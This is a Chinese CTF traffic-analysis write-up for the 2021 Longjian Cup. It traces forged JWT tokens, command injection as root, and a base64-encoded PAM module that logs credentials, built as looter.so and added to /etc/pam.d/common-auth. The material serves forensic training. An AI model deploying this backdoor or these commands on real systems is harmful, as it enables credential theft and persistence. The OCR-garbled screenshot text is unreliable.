2021陇剑杯部分wp

原创

 Ank1e
 于 2021-11-03 12:00:00 发布
 155 % 收藏 1

 分类专栏:
 CTF Writeup 文章标签: 安全

 版权声明:
 本文为博主原创文章,遵循_CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/qq_41636200/article/details/121096990

 版权

С

CTF Writeup 专栏收录该内容

11 篇文章 0 订阅 订阅专栏

2021陇剑杯

全是流量分析。麻了。只做了一部分。

参考链接

陇剑杯个人 'WriteUp'-魔法少女雪殇 (snowywar.top)

陇剑杯Writeup(部分)-惊觉 (leheavengame.com)

1.签到

题目描述:

网关小王在上网途中发现自己的网络访问异常缓慢,于是对网络出口捕获了流量,请您分析流量后进行回答:

1.1:

####题目:

此时正在进行的可能是http 协议的网络攻击。(如有字母请全部使用小写,填写样例:http、dns、ftp)

题解:

ncep					Ead term
. Time	Source	Info	Destination	Protocol	Length
60 8.613312	192.168.241.147	HTTP/1.1 403 Forbidden (text/html)	192.168.241.152	HTTP	
53 8.612100	192.168.241.147	HTTP/1.1 403 Forbidden (text/html)	192.168.241.152	HTTP	
46 8.610915	192.168.241.147	HTTP/1.1 403 Forbidden (text/html)	192.168.241.152	HTTP	
39 8.609733	192.168.241.147	HTTP/1.1 403 Forbidden (text/html)	192.168.241.152	HTTP	
32 8.608342	192.168.241.147	HTTP/1.1 403 Forbidden (text/html)	192.168.241.152	HTTP	
7016 37.852773	192.168.241.147	HTTP/1.1 200 OK (image/jpeg)	192.168.241.152	HTTP	
10 1.743703	180.163.150.161	HTTP/1.1 200 OK (GIF89a)	192.168.241.152	HTTP	
7 1.701096	192.168.241.152	GET /utm.gif?utmwv=5.7.2&utms=4&utmn=1796860660&utmhn=fngmhnnpilhplaeedifhccceomclgfbg&utmt=event&utme=	180.163.150.161	HTTP	_
5569 37.831338	192.168.241.152	GET /1/running.jpg HTTP/1.1	192.168.241.147	HTTP	
21486 128.209164	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21479 128.207808	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21472 128.206832	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21465 128.205952	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21458 128.205018	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21451 128.204153	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21444 128.203233	192.168.241.152	GET / HTTP/1.0 Continuation	192.168.241.147	HTTP	
21/137 128 202308	192 168 2/11 152	GET / HTTP/1 & Continuation	192 168 2/1 1/7	HTTP	
					,
Frame 7: 887 bytes	on wire (7096 bits),	887 bytes captured (7096 bits) on interface \Device\NPF_{3E000DA8-E211-40D3-A87D-198E99DB39BA}, id 0			
Ethernet II, Src: V	Mware_f0:15:d2 (00:0c	:29:f0:15:d2), Dst: VMware_f7:f7:a3 (00:50:56:f7:f7:a3)			
Internet Protocol V	ersion 4, Src: 192.16	8.241.152, Dst: 180.163.150.161			
Transmission Contro	l Protocol, Src Port:	52689, Dst Port: 80, Seq: 1, Ack: 1, Len: 833			
Hypertext Transfer	Protocol			(1997) (1997) (1997)	
000 00 50 56 f7 f7	a3 00 0c 29 f0 15 d2	08 00 45 00 PV·····)····E·			
010 03 69 a1 6f 40	00 40 06 00 00 c0 a8	f1 98 b4 a3 · i·o@·@· ······			
020 96 a1 cd d1 00	50 3d 78 11 fd 2e 38	5b 76 50 18 ·····P=x ··.8[vP·			
030 f9 43 00 e2 00	00 47 45 54 20 2f 5f	5f 75 74 6d -CGE T /utm			
040 2e 67 69 66 3f	75 74 6d 77 76 3d 35	2e 37 2e 32 .gif?utm wv=5.7.2			
050 26 75 74 6d 73	3d 34 26 75 74 6d 6e	3d 31 37 39 &utms=4& utmn=179			
969 36 38 36 30 36	36 30 26 75 74 6d 68	6e 3d 66 6e 6860660& utmhn=fn			
070 67 6d 68 6e 6e	70 69 6c 68 70 6c 61	65 65 64 69 gmhnnpil hplaeedi			

2.jwt

题目描述:

昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:

2.1

题目:

该网站使用了_____** ** 认证方式(如有字母请全部使用小写)

题解:

jwt

2.2

题目:

黑客绕过验证使用的jwt中,id和username是____。

题解:

10087#admin

解析jwt的token如下

	5 102.901144	192.168.2.197	GET / HTTP/1.	.1			192.168.2.197	HTTP	
	6 102.902996	192.168.2.197	HTTP/1.1 200	OK (text/html)			192.168.2.197	HTTP	
	7 110.317064	192.168.2.197	POST /identit	ty HTTP/1.1 (applicatio	on/x-www-form-urlencoded)		192.168.2.197	HTTP	
	8 110.318928	192.168.2.197	HTTP/1.1 200	OK (text/html)			192.168.2.197	HTTP	
	9 110.357816	192.168.2.197	GET /exec HT1	TP 1.1			192.168.2.197	HTTP	
	10 110.359207	192.168.2.197	HTTP/1.1 200	<pre>K (text/html)</pre>			192.168.2.197	HTTP	
	11 110.396532	192.168.2.197	GET /images?f	file=bj.jpeg HTTP/1.1			192.168.2.197	HTTP	
	12 110.396896	192.168.2.197	GET /images?	ile=head.gif HTTP/1.1			192.168.2.197	HTTP	
	18 110.398994	192.168.2.197	HTTP/1.1 200	OK (GIF89a)			192,168.2.197	HTTP	
	25 110.401519	192.168.2.197	HTTP/1.1 200	OK (JPEG JFIF image)			192.168.2.197	HTTP	
	26 114.557041	192.168.2.197	POST /exec HI	TTP/1.1 (application/x-	www-form-urlencoded)		192.168.2.197	HTTP	
	27 114.558775	192.168.2.197	HTTP/1.1 200	OK (text/html)			192.168.2.197	HTTP	
	28 119 1589/8	192 168 2 197	GET / HTTE/1	1			192 168 2 197	HTTP	
									>
In	ternet Protocol V	Version 4, Src: 19	92.168.2.197, Det: :	192.168.2.197					
Tra	ansmission Contro	ol Protocol, Src F	Port: 8081, Dst Port	t: 53665, Seq: 12386, Ac	ck: 2285, Len: 554				
Hy	pertext Transfer	Protocol							
>	HTTP/1.1 200 OK\	r\n	1						
	Content-Type: te:	xt/html; charset=	utf-8\r\n						
	Set-Cookie: toke	n=eyJhbGciOiJIUzI	1NiIsInR5cCI6IkpXVC	.]].ey]pZCI6MTAwODYsIk1h	cENsYWltcyI6eyJhdWQiOiJhZG1pbiIsIn	nVzZXJuYW1lIjoiYWRtaW4ifX@	0.dJArtwXjas3_Cg9a3tr8COXF7DRs	uX8UjmbC1nKf	8fc; Pat
170	0a 53 65 74 2d	43 6f 6f 6b 69	65 3a 20 74 6f 6b	-Set-Coo kie: tok					
080	65 6e 3d 65 79	4a 68 62 47 63	69 4f 69 4a 49 55	en=evJhb GciOiJIU					
990	7a 49 31 4e 69	49 73 49 6e 52	35 63 43 49 36 49	zI1NiIsI nR5cCI6I					
)a0	6b 70 58 56 43		4a 70 5a 43 49 36	kpXVCJ9. eyJpZCI6					
bø	4d 54 41 77 4f	44 59 73 49 6b	31 68 63 45 4e 73	MTAWODY'S IkihcENs					
900	59 57 6c 74 63		4a 68 64 57 51 69	YWltcyI6 eyJhdWQi					
)dØ	4f 69 4a 68 5a		49 73 49 6e 56 7a	OiJhZG1p biIsInVz					
)e0	5a 58 4a 75 59	57 31 6c 49 6a	6f 69 59 57 52 74	ZXJuYW1l IjoiYWRt					
)f0	61 57 34 69 66	58 30 2e 64 4a	41 72 74 77 58 6a	aW4ifX0. dJArtwXj					
100	61 73 33 5f 43	67 39 61 33 74	72 38 43 4f 58 46	as3_Cg9a 3tr8COXF					
110	37 44 52 73 75	58 38 55 6a 6d	52 43 31 6e 4b 66	7DRSUX8U JmbC1nKf					
120	38 66 63 3b 20	50 61 74 68 3d	27 30 20 4d 61 78	stc; Pat n=/; Max					↓ 0.3 KB/s
20	20 41 67 65 30	55 56 50 30 3D	20 48 74 74 70 41	-Аде-360 0; нстро		1 1.00		1	
	HILF Set Lookie (ht	th set conkiel 212 h	177 61 61			4725	141 · P H T · U2 [N5 /4]		or A · Hotai

Encoded 请在以下文本框粘贴令牌

Decode 以下是解密的内容

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAw0DYsIk1hcENs	HEADER						
YWltcyI6eyJhdWQi0iJhZG1pbiIsInVzZXJuYW11IjoiYWRtaW4ifX0.dJArt wXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc	{						
	PAYLOAD						
	<pre>{ "id": 10086, "MapClaims": {</pre>						
	STATUS						
	Decode Success						

2.3

题目:

黑客获取webshell之后,权限是____

题解:

root

看流量,执行命令whoami。输出alert('root'),所以是root

Itop:stream eq 10 Host: 192.168.2.197:8081 Content-Length: 14	tocol Length
Content-Length: 14	tocol Length
concene cengent an	tocol Length
No. Time Source Cache-Control: may-age=0	
* 97 216.198006 192.168. Upgrade Tase upgrad	P
98 217.299848 192.168. 0rigin: http://192.168.2.197:8081 2.197 HTT	P
Content-Type: application/x-www-form-unlencoded	
User-Agent: Mozilla/5.0 (Macintosh: Intel Mac OS X 10 15 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107	
Safari/537.36	
Accept: text/html.application/xhtml+xml.application/xml:g=0.9.image/avif.image/webp.image/appg.*/*:g=0.8.application/	
signed-exchange:v=b3;g=0.9	
Referer: http://192.168.2.197:8081/exec	
Accept-Encoding: gzip, deflate	
Accept-Language: zh-CN,zh;q=0.9	
Cookie: PHPSESSID=3f8coeg6hm9vf0h5lcoifmk8o5;	
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-	
k7KCP13P32sF-RpTXhKsxzvD0	
Connection: close	
command=whoamiHTfP/1.1 200 OK	
Content-Type: text/html; charset=utf-8	
Date: Sat, 07 Aug 2021 05:11:03 GMT	
Content-Length: 249	
> Frame 98: 441 bytes on wire (Connection: Close	
> Null/Loopback	
> Internet Protocol Version 4, CIDOCTYPE ntml>	
> Transmission Control Protocol (ntml lange en >	
✓ Hypertext Transfer Protocol	
> HTTP/1.1 200 OK/r/n chiefor the chiefor	
0010 to do by to to do by to solve to solve the solve to	
0000 00 02 00 00 04 f h od alert("root\n")	
059 21 54 79 70 65 32 20 74	
0660 3b 20 63 68 61 72 73 65 window.location.href="\/exec";	
0070 0a 44 61 74 65 3a 20 53	
0080 75 67 20 32 30 32 31 20 c/nmints	
0090 20 47 4d 54 0d 0a 43 6f //加 Wo 1 年/考 分照 1 座/名 分照 / 1 war(s) 希望各种。	
00a0 6e 67 74 68 3a 20 32 34 型个对话(1208 bytes) V 显示和保存数据为 ASCII V 液 10 🗘	1 0.3 KB/5
00b0 63 74 69 6f 6e 3a 20 63 查找: 查找:	+ 1.7 KB/s
0000 3c 21 44 4f 43 54 59 50	

2.4

题目:

黑客上传的恶意文件文件名是____。(请提交带有文件后缀的文件名,如x.txt)

题解:

/tem/1.c

继续分析流量,发现这里写入的文件是1.c

tcp.stream eq 13	Accent_Language: 7h-CN 7h:0-0 9			× 🛌 🛛) +
No. Time Source	Cockie: DHDSESSTD=358:coskbm2/f2b51coifmk8o5.	n	Prote	ocol Length	
→ 103 391.752016 192.168.	token=ev1bbccioiJIIIzINiISINBSCCI6IkbXVC19.ev1b7CI6MTAw0DcsTk1bcFNsVW]tcv16ev11c2VvbmEt7SI6ImFkbw]uIn19.rurOD5RVeMrFZow8r-	2.1	197 HTTP	,	
104 392.845146 192.168.	k7KCP13P32sE-RoTXhKsxzvD0	2.1	197 HTTF		
	Connection: close				
	command=echo%20I2luY2x1ZGUgPHN0ZGlvLmg%2bCiNpbmNsdWRlIDxzdGRsaWIuaD4KI2luY2x1ZGUgPGN1cmwvY3VybC5oPgojaW5jbHVkZSA8c3RyaW5nL				
	mg%2bCiNpbmNsdWRlIDxzZWN1cml0eS9wYW1fYXBwbC5oPgojaW5jbHVkZSA8c2VjdXJpdHkvcGFtX21vZHVsZXMuaD4KI21uY2x1ZGUgPHVuaXN0ZC5oPgpza				
	xplx30gd3JpdGVfZGF0YSh2b2lkICpidWZmZXIsIHNpemVfdCBzaXplLCBzaXplX30gbm1lbWIsIHZvaW0gKnVzZXJwK0p7CnJldHVybiBzaXplICogbm1lbWI				
	7Cn0KCnZvaWQgc2F2ZU1lc3NhZ2UoY2hhciAoKm1lc3NhZ2UpW10pIHsKRklMRSAqZnAgPSBOVUxMOwpmcCA9IGZvcGVuKCIvdG1wLy5sb290ZXIiLCAiYSsiK				
	TsKZnB1dHMoKm1lc3NhZ2UsIGZwKTsKZmNsb3N1KGZwKTsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX3N1dGNyZWQoIHBhbV9oYW5kbGVfdCAqcGFtaCwgaW5				
	ØIGZsYWdzLCBpbnQgYXJnYywgY29uc3QgY2hhciAqKmFyZ3YgKSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEFNX0VYVEVSTiBpbnQgcGFtX3NtX2FjY3Rfb				
	WdtdChwYW1faGFuZGxlX3QgKnBhbWgsIGludCBmbGFncywgaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2KSB7CnJldHVybiBQQU1fU1VDQ0VTUzsKfQoKUEF				
	NXØVYVEVSTiBpbnQgcGFtX3NtX2F1dGhlbnRpY2F0ZSggcGFtX2hhbmRsZV90ICpwYW1oLCBpbnQgZmxhZ3MsaW50IGFyZ2MsIGNvbnN0IGNoYXIgKiphcmd2I				
	CkgewppbnQgcmV0dmFsOwpjb25zdCBjaGFyKiB1c2VybmFtZTsKY29uc3QgY2hhciogcGFzc3dvcmQ7CmNoYXIgbWVzc2FnZVsxMDI0XTsKcmV0dmFsID0gcGF				
	tX2dldF91c2VyKHBhbWgsICZ1c2VybmFtZSwgIlVzZXJuYW1l0iAiKTsKcGFtX2dldF9pdGVtKHBhbWgsIFBBTV9BVVRIVE9LLCAodm9pZCAqKSAmcGFzc3dvc				
	mQpOwppZiAocmV0dmFsICE9IFBBTV9TVUNDRVNTKSB7CnJldHVybiByZXR2YWw7Cn0KCnNucHJpbnRmKG1lc3NhZ2USMjA0OCwiVXNlcm5hbWUgJXNcblBhc3N				
	3b3JKpiAlc1xuIix1c2VybmFtZSxwYXNzd29yZCk7CnNhdmVNZXNzYWdlKCZtZXNzYWdlKTsKcmV0dXJuIFBBTV9TVUNDRVNTOwp9 base64%20-d%20>/tmp/				
	1.CHTTP/1.1 200 OK				
	Content-Type: text/html; charset=utf-8				
<	Date: Sat, 07 Aug 2021 05:13:59 GMT	_			>
> Frame 104: 417 bytes on wire	Content-Length: 225				^
> Null/Loopback	Connection: close				
> Internet Protocol Version 4,	Jacoment 1. 2				
> Transmission Control Protoco	< IDUCITYE ITUMI>				
✓ Hypertext Transfer Protocol	chond				
> HTTP/1.1 200 OK\r\n	(meta charcet="IITE_g"\				~
	<pre>childaTitla</pre> //itla>				-
0000 02 00 00 00 45 00 01 9d					
	cbody>				
	<pre><script language="javascript" type="text/javascript"></pre></td><td></td><td></td><td></td><td></td></tr><tr><td>0050 09 6e ee bu 09 6e ea 81</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>0050 20 52 50 50 20 41 40 00 0050 2d 54 79 70 65 32 20 74</td><td>window.location.href="\/exec";</td><td></td><td></td><td></td><td></td></tr><tr><td>0060 3h 20 63 68 61 72 73 65</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>0070 03 44 61 74 65 33 20 53</td><td></script></pre>				
0080 75 67 20 32 30 32 31 20					
0090 20 47 4d 54 0d 0a 43 6f	→ 細 104. 1 案戸編 分組, 1 履务器 分組, 1 turn(s). 点面包持				
00a0 6e 67 74 68 3a 20 32 32	整个对话(2639 bytes) · 显示和保存数据为 ASCII · 流 13			1 0.0 KB/c	
				- 0.0 K0/S	4

题目:

黑客在服务器上编译的恶意so文件,文件名是

题解:

looter.so

继续分析,解析编码,发现文件时looter.so

ten etrean og 16	• • • •	Host: 192.168.2.197:8081		
w cop. scream eq 10	-	Content-Length: 180		
No. 11he S	Source	Cache-Control: max-age=0	n	Protocol Length
109 498.914376 1	192.168.	Upgrade-Insecure-Requests: 1	2.197	нтр
 ▲ 110 500.005016 1 	192.168.1	Origin: http://192.168.2.197:8081	2.197	HTTP
		Content-Type: application/x-www-form-urlencoded		
		User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107		
		Safari/537.36		
		Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/		
		signed-exchange;v=b3;q=0.9		
		Referer: http://192.168.2.197:8081/exec		
		Accept-Encoding: gzip, deflate		
		Accept-Language: zh-CN,zh;q=0.9		
		Cookie: PHPSESSID=3f8coeg6hm9vf0h5lcoifmk8o5;		
		token=eyJhbGciOiJIUZI1NiISInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-		
		k7KCP13P32sF-RpTXhKsxzvD0		
		Connection: close		
		<pre>command=echo%20Q0ZMQUdTICs9IC1XZXJyb3IgLVdhbGwKCmxvb3Rlci5zbzogbG9vdGVyLmMKCWdjYyAkKENGTEFHUykgLWZQSUMgLXNoYXJlZCAtWGxpbmt</pre>		
		lciAteCAtbyAkQCAkPCAtbGN1cmw= base64%20-d%20>/tmp/MakefileHTTP/1.1 200 OK		
		Content-Type: text/html; charset=utf-8		
<		Date: Sat, 07 Aug 2021 05:15:46 GMT		
> Frame 109: 1046 bytes	on wire	Content-Length: 225		
> Null/Loopback		Connection: close		
> Internet Protocol Vers	sion 4.			
> Transmission Control H	Protocol	html		
× Hypertext Transfer Pro	otocol	<html lang="en"></html>		
injpercexe multifier me		<head></head>		
<		<meta charset="utf-8"/>		>
0000 02 00 00 00 45 00	04 12	<title>Title</title>		
0010 c0 a8 02 c5 c0 a8	02 c5			
0020 85 46 89 f6 80 18	18 eb	<body></body>		
0030 09 70 89 d9 09 70	89 d9	<script language="javascript" type="text/javascript"></td><td></td><td></td></tr><tr><td>0040 65 63 20 48 54 54</td><td>50 2f</td><td></td><td></td><td></td></tr><tr><td>0050 74 3a 20 31 39 32</td><td>2e 31</td><td>window.location.href="\/exec";</td><td></td><td></td></tr><tr><td>0060 3a 38 30 38 31 0d</td><td>0a 43</td><td></td><td></td><td></td></tr><tr><td>0070 65 6e 67 74 68 3a</td><td>20 31</td><td></script>	-	
0080 65 2d 43 6f 6e 74	72 6f	<u>」 (hondus</u> 	-	

Q0ZMQUdTICs9IC1XZXJyb3IgLVdhbGwKCmxvb3R1ci5zbzogbG9vdGVyLmMKCWdjYyAkKENGTEFHUykgLWZQSUMgLXNoYXJ1ZCAtWGxpbmt1ciAteCAtbyA kQCAkPCAtbGN1cmw=

清空 加密 解密 □ 解密为UTF-8字节流

```
CFLAGS += -Werror -Wall
looter.so: looter.c
gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
```

复制

2.6

题目:

黑客在服务器上修改了一个配置文件,文件的绝对路径为____。(请确认绝对路径后再提交)

题解:

/etc/pam.d/common-auth

٥.	line	Source	Cache Controlly may age-0	n		Protocol	Length
-14	129 1022.694826	192.168.	Lingrade Tescure-Bauests: 1	2.	197	HTTP	
	130 1023.782557	192.168.	Origina http://10.168.3.197:8081	2.	197	HTTP	
			Content-Type: anglication/x-www-form-unlencoded				
			User-Agent: Mozilla/5.0 (Macintosh: Intel Mac OS X 10 15 7) ApplewebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107				
			Safari/537.36				
			Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/				
			signed-exchange;v=b3;q=0.9				
			Referer: http://192.168.2.197:8081/exec				
			Accept-Encoding: gzip, deflate				
			Accept-Language: zh-CN,zh;q=0.9				
			Cookie: PHPSESSID=3f8coeg6hm9vf0h5lcoifmk8o5;				
			token=eyJhbGciOiJIUzI1NiIsInR5cCl6IkpXVCJ9.eyJpZCl6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSl6ImFkbWluIn19.rurQD5RYgMrFZow8r-				
			k7KCP13P32sF-RpTXhKsxzvD0				
			Connection: close				
			command=ecnos20 autn%200ptional%20100ter.so >>/etc/pam.d/common-autnH11P/1.1 200 OK				
			Content-Type: text/ntml; charset=ut-8				
			Date: Sat, 07 Aug 2021 05:24:30 GMT				
	namo 120, 022 hytor	on wino	Connection: close				
	ull/Loophack	S OII WITE					
1	(ull/LOOpDack	ncion 4	<pre><lpcctype html=""></lpcctype></pre>				
1	Internet Protocol Ve	Drotocol	<html lang="en"></html>				
		Protocor	<head></head>			_	
· •	iypercext mansfer P	1010001	<meta charset="utf-8"/>				
			<title>Title</title>				>
000	00 02 00 00 00 45 0	00 03 a1					
201	10 c0 a8 02 c5 c0 a	a8 02 c5	<body></body>				
002	20 4c 17 49 cd 80 1	18 18 eb	<script language="javascript" type="text/javascript"></td><td></td><td></td><td></td><td></td></tr><tr><td>003</td><td>30 09 78 6a 0e 09 7</td><td>78 6a 0e</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>004</td><td>40 65 63 20 48 54 5</td><td>54 50 2f</td><td>window.location.href="\/exec";</td><td></td><td></td><td></td><td></td></tr><tr><td>005</td><td>50 74 3a 20 31 39 3</td><td>32 2e 31</td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>906</td><td>50 3a 38 30 38 31 0</td><td>0d 0a 43</td><td></script>				
007	70 65 6e 67 74 68 3	3a 20 36		~			
308	2d 43 6t 6e 74 7	/2 6† 6C	1 <u>泉戸端</u> 分組, <i>1 服务器</i> 分組, <i>i</i> tran(s).				
905	90 65 30 30 0d 0a 5	55 /0 67					

3.webshell

题目详情:

单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:

3.1

题目:

黑客登录系统使用的密码是___。

题解:

Admin123!@#

由流量分析可知,登录密码是Admin123!@#。

使用http.request.method=="POST"来进行筛选

io.	Tine	Source	Info	Destination	Protocol Length
1668	8 553.867907	192.168.2.197	POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
1670	0 553.984512	192.168.2.197	POST /1.php HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
239	9 35.569958	192.168.2.197	POST /index.php?m=&c=personal&a=ajax_resume_img_scan HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
125	5 14.229654	192.168.2.197	POST /index.php?m=&c=personal&a=refresh_resume HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
▶ 101	1 11.239111	192.168.2.197	POST /index.php?m=Home&c=Members&a=login HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
306	5 163.357076	192.168.2.197	POST /index.php?m=home&a=assign_resume A HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
308	8 213.037480	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
310	0 239.561632	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
313	3 251.837224	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
315	5 280.401747	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
317	7 292.482507	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
320	306.378411	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
323	3 340.117099	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
326	5 348.879123	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
329	9 383.436587	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP
332	2 396.095915	192.168.2.197	POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 (application/x-www-form-urlencoded)	192.168.2.197	HTTP

¢

Referer: http://192.168.2.197:8081/index.php\r\n Accept-Encoding: gzip, deflate\r\n Accept-Language: zh-CN,zh;q=0.9\r\n > Cookie: PHPSESSID=c7rg88itbq4egddujcpt67mqh6; think_language=zh-CN; think_template=default\r\n \r\n

			_														ala Sartian Rambara Radia Jaraia J
1	FUL	1 1	equ	esτ	UK	1:	ntt	p://	192	.16	8.2	. 19	/:8	081	/10	dex.	.pnp?m=Home&c=Members&a=loginj
0240	65	Ød	0a	41	63	63	65	70	74	2d	4c	61	6e	67	75	61	e Accep t-Langua
0250	67	65	за	20	7a	68	2d	43	4e	2c	7a	68	зb	71	3d	30	ge: zh-C N,zh;q=0
0260	2e	39	0d	0a	43	6f	6f	6b	69	65	Зa	20	50	48	50	53	.9 · Cook ie: PHPS
0270	45	53	53	49	44	3d	63	37	72	67	38	38	69	74	62	71	ESSID=c7 rg88itbq
0280	34	65	67	64	64	75	62	63	70	74	36	37	64	71	68	36	Apaddujc nt67mah6

0280	34	65	67	64	64	75	6a	63	10	14	36	31	60	/1	68	36	4egaaujc pt6/mqn6
0290	Зb	20	74	68	69	6e	6b	5f	6c	61	6e	67	75	61	67	65	; think_ language
02a0	Зd	7a	68	2d	43	4e	зb	20	74	68	69	6e	6b	5f	74	65	=zh-CN; think_te
02b0	6d	70	6c	61	74	65	3d	64	65	66	61	75	6C	74	Ød	0a	<pre>mplate=d efault</pre>
02c0	Ød	0a	75	73	65	72	<u>6e</u>	61	6d	65	3d	74	65	73	74	26	••userna me=test&
02d0	70	61	73	73	77	6f	72	64	3d	41	64	6d				32	password = <mark>Admin12</mark>
02e0	33	21	25	34	30	25	32	33	26	65	78	70	69	72	65	3d	3!%40%23 &expire=
02f0	30																0



>

∡ ■ ∠ ⊗ = 🖹 🗙 🙆 ۹ 👄 ⇒	POST /index.php?m=Home&c=Members&a=login HTTP/1.1	^		
📕 tcp.strean eq 6	Host: 192.168.2.19/18081			×
No. Time Source	Connection: Reep-alive	n	P	rotocol Length
104 11.361986 192.168.	Content-Length: 4/	2.19	97 T	СР
103 11.281408 192.168.1	Accept: application/json, text/javascript, 1/; q=0.01	2.19	Э7 Н	TTP
106 11.382561 192.168.1	A requested with, Amenetheduest	2.19	97 Н	TTP
109 11.401184 192.168.1	Safari (527 36	2.19	Э7 Н	TTP
102 11.276904 192.168.1	Content-Type: application/x-www-form-uplencoded: charset=UTE-8	2.19	97 Н	ТТР
105 11 361988 102 168	Origini http://192.168.2.197.8081	2 10	а 7 н	ттр
101 11 220111 102 168	Referent http://log.168.2.197.8081/index.nbn	2.10	7 H	TTD
- 101 11.233111 132.100	Accept-Encoding: grip, deflate	2.15	<i>n</i> 11	u tr
	Accept-Language: zh-CN.zh:g=0.9			
	Cookie: PHPSESSID=c7re88itbg4egdduicpt67mgh6; think language=zh-CN; think template=default			
	username=test&password=Admin123!%40%23&expire=0HTTP/1.1 200 OK			
	Date: Sat, 07 Aug 2021 09:33:29 GMT			
	Server: Apache/2.4.7 (Ubuntu)			
	X-Powered-By: PHP/5.5.9-1ubuntu4.29			
	Expires: Thu, 19 Nov 1981 08:52:00 GMT			
	Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0			
	Pragma: no-cache			
<	Content-Length: 112			
> Frame 101: 753 bytes on wire	Keep-Alive: timeout=5, max=100			
> Null/Loopback	Connection: Keep-Alive			
> Internet Protocol Version 4,	Content-Type: application/json; charset=utf-8			
> Transmission Control Protocol				
> Hypertext Transfer Protocol	{"status":1, "msg": "\u767b\u5f5\u6210\u529f\uf+01", "data": "\/index.php?m=&c=personal&a=index&uid=1", "dialog": ""}GET /			
> HTML Form URL Encoded: applic	index.php HTTP/1.1			
	Host: 192.168.2.19/18081			
0000 02 00 00 00 45 00 02 ed	Conhection: Reep-alive			
0010 c0 a8 02 c5 c0 a8 02 c5	Cache-control: max-age=0			
0020 54 93 ae 2a 80 18 18 eb	Upgrade=Insecure=Requests; I Hoop Acopt: Mozilla/5 & (Macintosh: Intol Mac OS V 10 15 7) ApploWobKit/527 26 (KHTML like Cocke) Chrome/02 0 4515 107			
0030 0a 5a 2T 08 0a 5a 2T 08	Safari (227 26			
0040 64 65 78 28 70 68 70 3T	Sarah (1977) Su Sarah (1977) Su Sarah (1978) Su Sarah			
0050 30 40 05 00 02 05 72 73	signed-exchange/web/indexin/Anemian/ami/appiledelon/Ami/g-or/jimage/web/index/appiledelon/			
0000 20 40 54 54 50 21 51 20	Referer: http://192.168.2.197:8081/index.php			
0080 30 38 31 0d 0a 43 6f 6e	Accort Foreding, grin, deflate	~		
0090 20 6b 65 65 70 2d 61 6c	升组 101.3 2 篇/端 升组, 4 應券額 升組, 5 vurn(z). 点齿选择。			
00a0 74 65 6e 74 2d 4c 65 6e	整个对话(22 kB)	8		AOOK
aaba aa 41 62 62 65 70 74 2a		4.4.1		- GIO K

Admin123!%40%23

URL解码结果

Admin123!@#

3.2

题目:

黑客修改了一个日志文件,文件的绝对路径为___。(请确认绝对路径后再提交)

题解:

/var/www/html/data/Runtime/Logs/Home/21_08_07.log

简单方法:分组字节流-搜索.log,再拼接根目录即可。

复杂点:

